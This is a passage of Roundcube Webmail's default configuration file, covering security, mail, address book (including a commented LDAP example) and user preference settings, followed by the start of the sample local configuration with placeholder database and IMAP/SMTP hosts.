// or $_SERVER['HTTP_HOST'] variables pointing to a different host, that could be used
// to collect user names and passwords. Some server configurations prevent that, but not all.
// An empty list accepts any host name. The list can contain host names
// or PCRE patterns (without // delimiters, that will be added automatically).
$config['trusted_host_patterns'] = [];

// check client IP in session authorization
$config['ip_check'] = false;

// X-Frame-Options HTTP header value sent to prevent from Clickjacking.
// Possible values: sameorigin|deny|allow-from <uri>.
// Set to false in order to disable sending the header.
$config['x_frame_options'] = 'sameorigin';

// This key is used for encrypting purposes, like storing of imap password
// in the session. For historical reasons it's called DES_key, but it's used
// with any configured cipher_method (see below).
// For the default cipher_method a required key length is 24 characters.
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

// Encryption algorithm. You can use any method supported by OpenSSL.
// Default is set for backward compatibility to DES-EDE3-CBC,
// but you can choose e.g. AES-256-CBC which we consider a better choice.
$config['cipher_method'] = 'DES-EDE3-CBC';

// Automatically add this domain to user names for login
// Only for IMAP servers that require full e-mail addresses for login
// Specify an array with 'host' => 'domain' values to support multiple hosts
// Supported replacement variables:
// %h - user's IMAP hostname
// %n - hostname ($_SERVER['SERVER_NAME'])
// %t - hostname without the first part
// %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
// %z - IMAP domain (IMAP hostname without the first part)
// For example %n = mail.domain.tld, %t = domain.tld
$config['username_domain'] = '';

// Force domain configured in username_domain to be used for login.
// Any domain in username will be replaced by username_domain.
$config['username_domain_forced'] = false;

// This domain will be used to form e-mail addresses of new users
// Specify an array with 'host' => 'domain' values to support multiple hosts
// Supported replacement variables:
// %h - user's IMAP hostname
// %n - http hostname ($_SERVER['SERVER_NAME'])
// %d - domain (http hostname without the first part)
// %z - IMAP domain (IMAP hostname without the first part)
// For example %n = mail.domain.tld, %t = domain.tld
$config['mail_domain'] = '';

// Password character set, to change the password for user
// authentication or for password change operations
$config['password_charset'] = 'UTF-8';

// How many seconds must pass between emails sent by a user
$config['sendmail_delay'] = 0;

// Message size limit. Note that SMTP server(s) may use a different value.
// This limit is verified when user attaches files to a composed message.
// Size in bytes (possible unit suffix: K, M, G)
$config['max_message_size'] = '100M';

// Maximum number of recipients per message (including To, Cc, Bcc).
// Default: 0 (no limit)
$config['max_recipients'] = 0;

// Maximum number of recipients per message excluding Bcc header.
// This is a soft limit, which means we only display a warning to the user.
// Default: 5
$config['max_disclosed_recipients'] = 5;

// Maximum allowed number of members of an address group. Default: 0 (no limit)
// If 'max_recipients' is set this value should be less or equal
$config['max_group_members'] = 0;

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';

// Add this user-agent to message headers when sending. Default: not set.
$config['useragent'] = null;

// try to load host-specific configuration
// see https://github.com/roundcube/roundcubemail/wiki/Configuration:-Multi-Domain-Setup
// for more details
$config['include_host_config'] = false;

// path to a text file which will be added to each sent message
// paths are relative to the Roundcube root folder
$config['generic_message_footer'] = '';

// path to a text file which will be added to each sent HTML message
// paths are relative to the Roundcube root folder
$config['generic_message_footer_html'] = '';

// add a received header to outgoing mails containing the creators IP and hostname
$config['http_received_header'] = false;

// Whether or not to encrypt the IP address and the host name
// these could, in some circles, be considered as sensitive information;
// however, for the administrator, these could be invaluable help
// when tracking down issues.
$config['http_received_header_encrypt'] = false;

// number of chars allowed for line when wrapping text.
// text wrapping is done when composing/sending messages
$config['line_length'] = 72;

// send plaintext messages as format=flowed
$config['send_format_flowed'] = true;

// According to RFC2298, return receipt envelope sender address must be empty.
// If this option is true, Roundcube will use user's identity as envelope sender for MDN responses.
$config['mdn_use_from'] = false;

// Set identities access level:
// 0 - many identities with possibility to edit all params
// 1 - many identities with possibility to edit all params but not email address
// 2 - one identity with possibility to edit all params
// 3 - one identity with possibility to edit all params but not email address
// 4 - one identity with possibility to edit only signature
$config['identities_level'] = 0;

// Maximum size of uploaded image (in kilobytes) for HTML identities.
// Images (in html signatures) are stored in database as data URIs.
$config['identity_image_size'] = 64;

// Maximum size of uploaded image (in kilobytes) for HTML responses.
// Images (in html responses) are stored in database as data URIs.
$config['response_image_size'] = 64;

// Mimetypes supported by the browser.
// Attachments of these types will open in a preview window.
// Either a comma-separated list or an array. Default list includes:
//     text/plain,text/html,
//     image/jpeg,image/gif,image/png,image/bmp,image/tiff,image/webp,
//     application/x-javascript,application/pdf,application/x-shockwave-flash
$config['client_mimetypes'] = null;

// Path to a local mime magic database file for PHPs finfo extension.
// Set to null if the default path should be used.
$config['mime_magic'] = null;

// Absolute path to a local mime.types mapping table file.
// This is used to derive mime-types from the filename extension or vice versa.
// Such a file is usually part of the apache webserver. If you don't find a file named mime.types on your system,
// download it from http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types
$config['mime_types'] = null;

// path to imagemagick identify binary (if not set we'll use Imagick or GD extensions)
$config['im_identify_path'] = null;

// path to imagemagick convert binary (if not set we'll use Imagick or GD extensions)
$config['im_convert_path'] = null;

// Size of thumbnails from image attachments displayed below the message content.
// Note: whether images are displayed at all depends on the 'inline_images' option.
// Set to 0 to display images in full size.
$config['image_thumbnail_size'] = 240;

// maximum size of uploaded contact photos in pixel
$config['contact_photo_size'] = 160;

// Enable DNS checking for e-mail address validation
$config['email_dns_check'] = false;

// Disables saving sent messages in Sent folder (like gmail) (Default: false)
// Note: useful when SMTP server stores sent mail in user mailbox
$config['no_save_sent_messages'] = false;

// Improve system security by using special URL with security token.
// This can be set to a number defining token length. Default: 16.
// Warning: This requires http server configuration. Sample:
//    RewriteRule ^/roundcubemail/[a-zA-Z0-9]{16}/(.*) /roundcubemail/$1 [PT]
//    Alias /roundcubemail /var/www/roundcubemail/
// Warning: This feature does NOT work with request_path = 'SCRIPT_NAME'
// Note: Use assets_path to not prevent the browser from caching assets
$config['use_secure_urls'] = false;

// Specifies the full path of the original HTTP request, either as a real path or
// $_SERVER field name. This might be useful when Roundcube runs behind a reverse
// proxy using a subpath. This is a path part of the URL, not the full URL!
// The reverse proxy config can specify a custom header (e.g. X-Forwarded-Path) containing
// the path under which Roundcube is exposed to the outside world (e.g. /rcube/).
// This header value is then available in PHP with $_SERVER['HTTP_X_FORWARDED_PATH'].
// By default the path comes from  'REDIRECT_SCRIPT_URL', 'SCRIPT_NAME' or 'REQUEST_URI',
// whichever is set (in this order).
$config['request_path'] = null;

// Allows to define separate server/path for image/js/css files
// Warning: If the domain is different cross-domain access to some
// resources need to be allowed
// Sample:
//    <FilesMatch ".(eot|ttf|woff)">
//    Header set Access-Control-Allow-Origin "*"
//    </FilesMatch>
$config['assets_path'] = '';

// While assets_path is for the browser, assets_dir informs
// PHP code about the location of asset files in filesystem
$config['assets_dir'] = '';

// Options passed when creating Guzzle HTTP client, used to fetch remote content
// For example:
// [
//   'timeout' => 10,
//   'proxy' => 'tcp://localhost:8125',
// ]
$config['http_client'] = [];

// List of supported subject prefixes for a message reply
// This list is used to clean the subject when replying or sorting messages
$config['subject_reply_prefixes'] = ['Re:'];

// List of supported subject prefixes for a message forward
// This list is used to clean the subject when forwarding or sorting messages
$config['subject_forward_prefixes'] = ['Fwd:', 'Fw:'];

// Prefix to use in subject when replying to a message
$config['response_prefix'] = 'Re:';

// Prefix to use in subject when forwarding a message
$config['forward_prefix'] = 'Fwd:';

// ----------------------------------
// PLUGINS
// ----------------------------------

// List of active plugins (in plugins/ directory)
$config['plugins'] = [];

// ----------------------------------
// USER INTERFACE
// ----------------------------------

// default messages sort column. Use empty value for default server's sorting,
// or 'arrival', 'date', 'subject', 'from', 'to', 'fromto', 'size', 'cc'
$config['message_sort_col'] = '';

// default messages sort order
$config['message_sort_order'] = 'DESC';

// These cols are shown in the message list. Available cols are:
// subject, from, to, fromto, cc, replyto, date, size, status, flag, attachment, priority
$config['list_cols'] = ['subject', 'status', 'fromto', 'date', 'size', 'flag', 'attachment'];

// the default locale setting (leave empty for auto-detection)
// RFC1766 formatted language name like en_US, de_DE, de_CH, fr_FR, pt_BR
$config['language'] = null;

// use this format for date display (PHP DateTime format)
$config['date_format'] = 'Y-m-d';

// give this choice of date formats to the user to select from
// Note: do not use ambiguous formats like m/d/Y
$config['date_formats'] = ['Y-m-d', 'Y/m/d', 'Y.m.d', 'd-m-Y', 'd/m/Y', 'd.m.Y', 'j.n.Y'];

// use this format for time display (PHP DateTime format)
$config['time_format'] = 'H:i';

// give this choice of time formats to the user to select from
$config['time_formats'] = ['G:i', 'H:i', 'g:i a', 'h:i A'];

// use this format for short date display (derived from date_format and time_format)
$config['date_short'] = 'D H:i';

// use this format for detailed date/time formatting (derived from date_format and time_format)
$config['date_long'] = 'Y-m-d H:i';

// store draft message is this mailbox
// leave blank if draft messages should not be stored
// NOTE: Use folder names with namespace prefix (INBOX. on Courier-IMAP)
$config['drafts_mbox'] = 'Drafts';

// store spam messages in this mailbox
// NOTE: Use folder names with namespace prefix (INBOX. on Courier-IMAP)
$config['junk_mbox'] = 'Junk';

// store sent message is this mailbox
// leave blank if sent messages should not be stored
// NOTE: Use folder names with namespace prefix (INBOX. on Courier-IMAP)
$config['sent_mbox'] = 'Sent';

// move messages to this folder when deleting them
// leave blank if they should be deleted directly
// NOTE: Use folder names with namespace prefix (INBOX. on Courier-IMAP)
$config['trash_mbox'] = 'Trash';

// automatically create the above listed default folders on user login
$config['create_default_folders'] = false;

// protect the default folders from renames, deletes, and subscription changes
$config['protect_default_folders'] = true;

// Disable localization of the default folder names listed above
$config['show_real_foldernames'] = false;

// if in your system 0 quota means no limit set this option to true
$config['quota_zero_as_unlimited'] = false;

// Make use of the built-in spell checker.
$config['enable_spellcheck'] = false;

// Enables spellchecker exceptions dictionary.
// Setting it to 'shared' will make the dictionary shared by all users.
$config['spellcheck_dictionary'] = false;

// Set the spell checking engine. Possible values:
// - 'googie'  - the default (also used for connecting to Nox Spell Server, see 'spellcheck_uri' setting)
// - 'pspell'  - requires the PHP Pspell module and aspell installed
// - 'enchant' - requires the PHP Enchant module
// - 'atd'     - install your own After the Deadline server or check with the people at http://www.afterthedeadline.com before using their API
// Since Google shut down their public spell checking service, the default settings
// connect to http://spell.roundcube.net which is a hosted service provided by Roundcube.
// You can connect to any other googie-compliant service by setting 'spellcheck_uri' accordingly.
$config['spellcheck_engine'] = 'googie';

// For locally installed Nox Spell Server or After the Deadline services,
// please specify the URI to call it.
// Get Nox Spell Server from http://orangoo.com/labs/?page_id=72 or
// the After the Deadline package from http://www.afterthedeadline.com.
// Leave empty to use the public API of service.afterthedeadline.com
$config['spellcheck_uri'] = '';

// These languages can be selected for spell checking.
// Configure as a PHP style hash array: ['en'=>'English', 'de'=>'Deutsch'];
// Leave empty for default set of available language.
$config['spellcheck_languages'] = null;

// Makes that words with all letters capitalized will be ignored (e.g. GOOGLE)
$config['spellcheck_ignore_caps'] = false;

// Makes that words with numbers will be ignored (e.g. g00gle)
$config['spellcheck_ignore_nums'] = false;

// Makes that words with symbols will be ignored (e.g. g@@gle)
$config['spellcheck_ignore_syms'] = false;

// Number of lines at the end of a message considered to contain the signature.
// Increase this value if signatures are not properly detected and colored
$config['sig_max_lines'] = 15;

// don't let users set pagesize to more than this value if set
$config['max_pagesize'] = 200;

// Minimal value of user's 'refresh_interval' setting (in seconds)
$config['min_refresh_interval'] = 60;

// Specifies for how many seconds the Undo button will be available
// after object delete action. Currently used with supporting address book sources.
// Setting it to 0, disables the feature.
$config['undo_timeout'] = 0;

// A static list of canned responses which are immutable for the user
$config['compose_responses_static'] = [
//  ['name' => 'Canned Response 1', 'text' => 'Static Response One'],
//  ['name' => 'Canned Response 2', 'text' => 'Static Response Two'],
];

// List of HKP key servers for PGP public key lookups in Enigma/Mailvelope
// Note: Lookup is client-side, so the server must support Cross-Origin Resource Sharing
$config['keyservers'] = ['keys.openpgp.org'];

// Enables use of the Main Keyring in Mailvelope? If disabled, a per-site keyring
// will be used. This is set to false for backwards compatibility.
$config['mailvelope_main_keyring'] = false;

// Mailvelope RSA bit size for newly generated keys, either 2048 or 4096.
// It maybe desirable to use 2048 for sites with many mobile users.
$config['mailvelope_keysize'] = 4096;

// Html2Text link handling options:
// 0 - links will be removed
// 1 - a list of link URLs should be listed at the end of the text (default)
// 2 - link should be displayed to the original point in the text they appeared
$config['html2text_links'] = 1;

// Html2Text text width. Maximum width of the formatted text, in columns. Default: 75.
$config['html2text_width'] = 75;

// ----------------------------------
// ADDRESSBOOK SETTINGS
// ----------------------------------

// This indicates which type of address book to use. Possible choices:
// 'sql' - built-in sql addressbook enabled (default),
// ''    - built-in sql addressbook disabled.
//         Still LDAP or plugin-added addressbooks will be available.
//         BC Note: The value can actually be anything except 'sql', it does not matter.
$config['address_book_type'] = 'sql';

// In order to enable public ldap search, configure an array like the Verisign
// example further below. if you would like to test, simply uncomment the example.
// Array key must contain only safe characters, ie. a-zA-Z0-9_
$config['ldap_public'] = [];

// If you are going to use LDAP for individual address books, you will need to
// set 'user_specific' to true and use the variables to generate the appropriate DNs to access it.
//
// The recommended directory structure for LDAP is to store all the address book entries
// under the users main entry, e.g.:
//
//  o=root
//   ou=people
//    uid=user@domain
//  mail=contact@contactdomain
//
// So the base_dn would be uid=%fu,ou=people,o=root
// The bind_dn would be the same as based_dn or some super user login.
/*
 * example config for Verisign directory
 *
$config['ldap_public']['Verisign'] = [
  'name'          => 'Verisign.com',
  // Replacement variables supported in host names:
  // %h - user's IMAP hostname
  // %n - hostname ($_SERVER['SERVER_NAME'])
  // %t - hostname without the first part
  // %d - domain (http hostname $_SERVER['HTTP_HOST'] without the first part)
  // %z - IMAP domain (IMAP hostname without the first part)
  // For example %n = mail.domain.tld, %t = domain.tld
  // Note: Host can also be a full URI e.g. ldaps://hostname.local:636 (for SSL)
  // Note: If port number is omitted, it will be set to 636 (for ldaps://) or 389 otherwise.
  // Note: To enable TLS use tls:// prefix
  'hosts'         => array('directory.verisign.com:389'),
  'ldap_version'  => 3,       // using LDAPv3
  'network_timeout' => 10,    // The timeout (in seconds) for connect + bind attempts. This is only supported in PHP >= 5.3.0 with OpenLDAP 2.x
  'user_specific' => false,   // If true the base_dn, bind_dn and bind_pass default to the user's IMAP login.
  // When 'user_specific' is enabled following variables can be used in base_dn/bind_dn config:
  // %fu - The full username provided, assumes the username is an email
  //       address, uses the username_domain value if not an email address.
  // %u  - The username prior to the '@'.
  // %d  - The domain name after the '@'.
  // %dc - The domain name hierarchal string e.g. "dc=test,dc=domain,dc=com"
  // %dn - DN found by ldap search when search_filter/search_base_dn are used
  'base_dn'       => '',
  'bind_dn'       => '',
  'bind_pass'     => '',
  // It's possible to bind for an individual address book
  // The login name is used to search for the DN to bind with
  'search_base_dn' => '',
  'search_filter'  => '',   // e.g. '(&(objectClass=posixAccount)(uid=%u))'
  // DN and password to bind as before searching for bind DN, if anonymous search is not allowed
  'search_bind_dn' => '',
  'search_bind_pw' => '',
  // Base DN and filter used for resolving the user's domain root DN which feeds the %dc variables
  // Leave empty to skip this lookup and derive the root DN from the username domain
  'domain_base_dn' => '',
  'domain_filter'  => '',
  // Optional map of replacement strings => attributes used when binding for an individual address book
  'search_bind_attrib' => [],  // e.g. ['%udc' => 'ou']
  // Default for %dn variable if search doesn't return DN value
  'search_dn_default' => '',
  // Optional authentication identifier to be used as SASL authorization proxy
  // bind_dn need to be empty
  'auth_cid'       => '',
  // SASL authentication method (for proxy auth), e.g. DIGEST-MD5
  'auth_method'    => '',
  // Indicates if the addressbook shall be hidden from the list.
  // With this option enabled you can still search/view contacts.
  'hidden'        => false,
  // Indicates if the addressbook shall not list contacts but only allows searching.
  'searchonly'    => false,
  // Indicates if we can write to the LDAP directory or not.
  // If writable is true then these fields need to be populated:
  // LDAP_Object_Classes, required_fields, LDAP_rdn
  'writable'       => false,
  // To create a new contact these are the object classes to specify
  // (or any other classes you wish to use).
  'LDAP_Object_Classes' => ['top', 'inetOrgPerson'],
  // The RDN field that is used for new entries, this field needs
  // to be one of the search_fields, the base of base_dn is appended
  // to the RDN to insert into the LDAP directory.
  'LDAP_rdn'       => 'cn',
  // The required attributes needed to build a new contact as required by
  // the object classes (can include additional fields not required by the object classes).
  'required_fields' => ['cn', 'sn', 'mail'],
  // The attributes used when searching with "All fields" option
  // If empty, attributes for name, surname, firstname and email fields will be used
  'search_fields'   => ['mail', 'cn'],
  // mapping of contact fields to directory attributes
  //   1. for every attribute one can specify the number of values (limit) allowed.
  //      default is 1, a wildcard * means unlimited
  //   2. another possible parameter is separator character for composite fields
  //   3. it's possible to define field format for write operations, e.g. for date fields
  //      example: 'birthday:date[YmdHis\\Z]'
  'fieldmap' => [
    // Roundcube  => LDAP:limit
    'name'        => 'cn',
    'surname'     => 'sn',
    'firstname'   => 'givenName',
    'jobtitle'    => 'title',
    'email'       => 'mail:*',
    'phone:home'  => 'homePhone',
    'phone:work'  => 'telephoneNumber',
    'phone:mobile' => 'mobile',
    'phone:pager' => 'pager',
    'phone:workfax' => 'facsimileTelephoneNumber',
    'street'      => 'street',
    'zipcode'     => 'postalCode',
    'region'      => 'st',
    'locality'    => 'l',
    // if you country is a complex object, you need to configure 'sub_fields' below
    'country'      => 'c',
    'organization' => 'o',
    'department'   => 'ou',
    'jobtitle'     => 'title',
    'notes'        => 'description',
    'photo'        => 'jpegPhoto',
    // these currently don't work:
    // 'manager'       => 'manager',
    // 'assistant'     => 'secretary',
  ],
  // Map of contact sub-objects (attribute name => objectClass(es)), e.g. 'c' => 'country'
  'sub_fields' => [],
  // Generate values for the following LDAP attributes automatically when creating a new record
  'autovalues' => [
    // 'uid'  => 'md5(microtime())',               // You may specify PHP code snippets which are then eval'ed
    // 'mail' => '{givenname}.{sn}@mydomain.com',  // or composite strings with placeholders for existing attributes
  ],
  'sort'           => 'cn',         // The field to sort the listing by.
  'scope'          => 'sub',        // search mode: sub|base|list
  'filter'         => '(objectClass=inetOrgPerson)',      // used for basic listing (if not empty) and will be &'d with search queries. example: status=act
  'fuzzy_search'   => true,         // server allows wildcard search
  'vlv'            => false,        // Enable Virtual List View to more efficiently fetch paginated data (if server supports it)
  'vlv_search'     => false,        // Use Virtual List View functions for autocompletion searches (if server supports it)
  'numsub_filter'  => '(objectClass=organizationalUnit)',   // with VLV, we also use numSubOrdinates to query the total number of records. Set this filter to get all numSubOrdinates attributes for counting
  'config_root_dn' => 'cn=config',  // Root DN to search config entries (e.g. vlv indexes)
  'sizelimit'      => '0',          // Enables you to limit the count of entries fetched. Setting this to 0 means no limit.
  'timelimit'      => '0',          // Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.
  'referrals'      => false,        // Sets the LDAP_OPT_REFERRALS option. Mostly used in multi-domain Active Directory setups
  'dereference'    => 0,            // Sets the LDAP_OPT_DEREF option. One of: LDAP_DEREF_NEVER, LDAP_DEREF_SEARCHING, LDAP_DEREF_FINDING, LDAP_DEREF_ALWAYS
                                    // Used where addressbook contains aliases to objects elsewhere in the LDAP tree.

  // definition for contact groups (uncomment if no groups are supported)
  // for the groups base_dn, the user replacements %fu, %u, %d and %dc work as for base_dn (see above)
  // if the groups base_dn is empty, the contact base_dn is used for the groups as well
  // -> in this case, assure that groups and contacts are separated due to the concerning filters!
  'groups'  => [
    'base_dn'           => '',
    'scope'             => 'sub',       // Search mode: sub|base|list
    'filter'            => '(objectClass=groupOfNames)',
    'object_classes'    => ['top', 'groupOfNames'],   // Object classes to be assigned to new groups
    'member_attr'       => 'member',   // Name of the default member attribute, e.g. uniqueMember
    'name_attr'         => 'cn',       // Attribute to be used as group name
    'email_attr'        => 'mail',     // Group email address attribute (e.g. for mailing lists)
    'member_filter'     => '(objectclass=*)',  // Optional filter to use when querying for group members
    'vlv'               => false,      // Use VLV controls to list groups
    'class_member_attr' => [      // Mapping of group object class to member attribute used in these objects
      'groupofnames'       => 'member',
      'groupofuniquenames' => 'uniquemember'
    ],
  ],
  // this configuration replaces the regular groups listing in the directory tree with
  // a hard-coded list of groups, each listing entries with the configured base DN and filter.
  // if the 'groups' option from above is set, it'll be shown as the first entry with the name 'Groups'
  'group_filters' => [
    'departments' => [
      'name'    => 'Company Departments',
      'scope'   => 'list',
      'base_dn' => 'ou=Groups,dc=mydomain,dc=com',
      'filter'  => '(|(objectclass=groupofuniquenames)(objectclass=groupofurls))',
      'name_attr' => 'cn',
    ],
    'customers' => [
      'name'    => 'Customers',
      'scope'   => 'sub',
      'base_dn' => 'ou=Customers,dc=mydomain,dc=com',
      'filter'  => '(objectClass=inetOrgPerson)',
      'name_attr' => 'sn',
    ],
  ],
];
*/

// An ordered array of the ids of the addressbooks that should be searched
// when populating address autocomplete fields server-side. ex: ['sql','Verisign'];
$config['autocomplete_addressbooks'] = ['sql'];

// The minimum number of characters required to be typed in an autocomplete field
// before address books will be searched. Most useful for LDAP directories that
// may need to do lengthy results building given overly-broad searches
$config['autocomplete_min_length'] = 1;

// Number of parallel autocomplete requests.
// If there's more than one address book, n parallel (async) requests will be created,
// where each request will search in one address book. By default (0), all address
// books are searched in one request.
$config['autocomplete_threads'] = 0;

// Max. number of entries in autocomplete popup. Default: 15.
$config['autocomplete_max'] = 15;

// show address fields in this order
// available placeholders: {street}, {locality}, {zipcode}, {country}, {region}
$config['address_template'] = '{street}<br/>{locality} {zipcode}<br/>{country} {region}';

// Matching mode for addressbook search (including autocompletion)
// 0 - partial (*abc*), default
// 1 - strict (abc)
// 2 - prefix (abc*)
// Note: For LDAP sources fuzzy_search must be enabled to use 'partial' or 'prefix' mode
$config['addressbook_search_mode'] = 0;

// List of fields used on contacts list and for autocompletion searches
// Warning: These are field names not LDAP attributes (see 'fieldmap' setting)!
$config['contactlist_fields'] = ['name', 'firstname', 'surname', 'email'];

// Template of contact entry on the autocompletion list.
// You can use contact fields as: name, email, organization, department, etc.
// See program/actions/contacts/index.php for a list
$config['contact_search_name'] = '{name} <{email}>';

// Contact mode. If your contacts are mostly business, switch it to 'business'.
// This will prioritize form fields related to 'work' (instead of 'home').
// Default: 'private'.
$config['contact_form_mode'] = 'private';

// The addressbook source to store automatically collected recipients in.
// Default: true (the built-in "Collected recipients" addressbook, source id = '1')
// Note: It can be set to any writeable addressbook, e.g. 'sql'
$config['collected_recipients'] = true;

// The addressbook source to store trusted senders in.
// Default: true (the built-in "Trusted senders" addressbook, source id = '2')
// Note: It can be set to any writeable addressbook, e.g. 'sql'
$config['collected_senders'] = true;


// ----------------------------------
// USER PREFERENCES
// ----------------------------------

// Use this charset as fallback for message decoding
$config['default_charset'] = 'ISO-8859-1';

// Skin name: folder from skins/
$config['skin'] = 'elastic';

// Limit skins available for the user.
// Note: When not empty, it should include the default skin set in 'skin' option.
$config['skins_allowed'] = [];

// Enables using standard browser windows (that can be handled as tabs)
// instead of popup windows
$config['standard_windows'] = false;

// show up to X items in messages list view
$config['mail_pagesize'] = 50;

// show up to X items in contacts list view
$config['addressbook_pagesize'] = 50;

// sort contacts by this col (preferably either one of name, firstname, surname)
$config['addressbook_sort_col'] = 'surname';

// The way how contact names are displayed in the list.
// 0: prefix firstname middlename surname suffix (only if display name is not set)
// 1: firstname middlename surname
// 2: surname firstname middlename
// 3: surname, firstname middlename
$config['addressbook_name_listing'] = 0;

// use this timezone to display date/time
// valid timezone identifiers are listed here: php.net/manual/en/timezones.php
// 'auto' will use the browser's timezone settings
$config['timezone'] = 'auto';

// prefer displaying HTML messages
$config['prefer_html'] = true;

// Display remote resources (inline images, styles) in HTML messages. Default: 0.
// 0 - Never, always ask
// 1 - Allow from my contacts (all writeable addressbooks + collected senders and recipients)
// 2 - Always allow
// 3 - Allow from trusted senders only
$config['show_images'] = 0;

// open messages in new window
$config['message_extwin'] = false;

// open message compose form in new window
$config['compose_extwin'] = false;

// compose html formatted messages by default
//  0 - never,
//  1 - always,
//  2 - on reply to HTML message,
//  3 - on forward or reply to HTML message
//  4 - always, except when replying to plain text message
$config['htmleditor'] = 0;

// save copies of compose messages in the browser's local storage
// for recovery in case of browser crashes and session timeout.
$config['compose_save_localstorage'] = true;

// show pretty dates as standard
$config['prettydate'] = true;

// save compose message every 300 seconds (5min)
$config['draft_autosave'] = 300;

// Interface layout. Default: 'widescreen'.
//  'widescreen' - three columns
//  'desktop'    - two columns, preview on bottom
//  'list'       - two columns, no preview
$config['layout'] = 'widescreen';

// Mark as read when viewing a message (delay in seconds)
// Set to -1 if messages should not be marked as read
$config['mail_read_time'] = 0;

// Clear Trash on logout. Remove all messages or only older than N days.
// Supported values: false, true, 30, 60, 90. Default: false.
$config['logout_purge'] = false;

// Compact INBOX on logout
$config['logout_expunge'] = false;

// Display attached images below the message body
$config['inline_images'] = true;

// Encoding of long/non-ascii attachment names:
// 0 - Full RFC 2231 compatible
// 1 - RFC 2047 for 'name' and RFC 2231 for 'filename' parameter (Thunderbird's default)
// 2 - Full 2047 compatible
$config['mime_param_folding'] = 1;

// Set true if deleted messages should not be displayed
// This will make the application run slower
$config['skip_deleted'] = false;

// Set true to Mark deleted messages as read as well as deleted
// False means that a message's read status is not affected by marking it as deleted
$config['read_when_deleted'] = true;

// Set to true to never delete messages immediately
// Use 'Purge' to remove messages marked as deleted
$config['flag_for_deletion'] = false;

// Default interval for auto-refresh requests (in seconds)
// These are requests for system state updates e.g. checking for new messages, etc.
// Setting it to 0 disables the feature.
$config['refresh_interval'] = 60;

// If true all folders will be checked for recent messages
$config['check_all_folders'] = false;

// If true, after message/contact delete/move, the next message/contact will be displayed
$config['display_next'] = true;

// Default messages listing mode. One of 'threads' or 'list'.
$config['default_list_mode'] = 'list';

// 0 - Do not expand threads
// 1 - Expand all threads automatically
// 2 - Expand only threads with unread messages
$config['autoexpand_threads'] = 0;

// When replying:
// -1 - don't cite the original message
// 0  - place cursor below the original message
// 1  - place cursor above original message (top posting)
// 2  - place cursor above original message (top posting), but do not indent the quote
$config['reply_mode'] = 0;

// When replying strip original signature from message
$config['strip_existing_sig'] = true;

// Show signature:
// 0 - Never
// 1 - Always
// 2 - New messages only
// 3 - Forwards and Replies only
$config['show_sig'] = 1;

// By default the signature is placed depending on cursor position (reply_mode).
// Sometimes it might be convenient to start the reply on top but keep
// the signature below the quoted text (sig_below = true).
$config['sig_below'] = false;

// Enables adding of standard separator to the signature
$config['sig_separator'] = true;

// Use MIME encoding (quoted-printable) for 8bit characters in message body
$config['force_7bit'] = false;

// Default fields configuration for mail search.
// The array can contain a per-folder list of header fields which should be considered when searching
// The entry with key '*' stands for all folders which do not have a specific list set.
// Supported fields: subject, from, to, cc, bcc, replyto, followupto, body, text.
// Please note that folder names should to be in sync with $config['*_mbox'] options
$config['search_mods'] = null;  // Example: ['*' => ['subject'=>1, 'from'=>1], 'Sent' => ['subject'=>1, 'to'=>1]];

// Defaults of the addressbook search field configuration.
$config['addressbook_search_mods'] = null;  // Example: ['name'=>1, 'firstname'=>1, 'surname'=>1, 'email'=>1, '*'=>1];

// Directly delete messages in Junk instead of moving to Trash
$config['delete_junk'] = false;

// Behavior if a received message requests a message delivery notification (read receipt)
// 0 = ask the user,
// 1 = send automatically,
// 2 = ignore (never send or ask)
// 3 = send automatically if sender is in my contacts, otherwise ask the user
// 4 = send automatically if sender is in my contacts, otherwise ignore
// 5 = send automatically if sender is a trusted sender, otherwise ask the user
// 6 = send automatically if sender is a trusted sender, otherwise ignore
$config['mdn_requests'] = 0;

// Return receipt checkbox default state
$config['mdn_default'] = 0;

// Delivery Status Notification checkbox default state
$config['dsn_default'] = 0;

// Place replies in the folder of the message being replied to
$config['reply_same_folder'] = false;

// Sets default mode of Forward feature to "forward as attachment"
$config['forward_attachment'] = false;

// Defines address book (internal index) to which new contacts will be added
// By default it is the first writeable addressbook.
// Note: Use '0' for built-in address book.
$config['default_addressbook'] = null;

// Enables spell checking before sending a message.
$config['spellcheck_before_send'] = false;

// Skip alternative email addresses in autocompletion (show one address per contact)
$config['autocomplete_single'] = false;

// Default font for composed HTML message.
// Supported values: Andale Mono, Arial, Arial Black, Book Antiqua, Courier New,
// Georgia, Helvetica, Impact, Tahoma, Terminal, Times New Roman, Trebuchet MS, Verdana
$config['default_font'] = 'Verdana';

// Default font size for composed HTML message.
// Supported sizes: 8pt, 10pt, 12pt, 14pt, 18pt, 24pt, 36pt
$config['default_font_size'] = '10pt';

// Enables display of email address with name instead of a name (and address in title)
$config['message_show_email'] = false;

// Default behavior of Reply-All button:
// 0 - Reply-All always
// 1 - Reply-List if mailing list is detected
$config['reply_all_mode'] = 0;
PKh�\�u��config/config.inc.php.samplenu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Local configuration for the Roundcube Webmail installation.           |
 |                                                                       |
 | This is a sample configuration file only containing the minimum       |
 | setup required for a functional installation. Copy more options       |
 | from defaults.inc.php to this file to override the defaults.          |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
*/

$config = [];

// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
//       or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:pass@localhost/roundcubemail';

// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';

// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';

// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';

// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
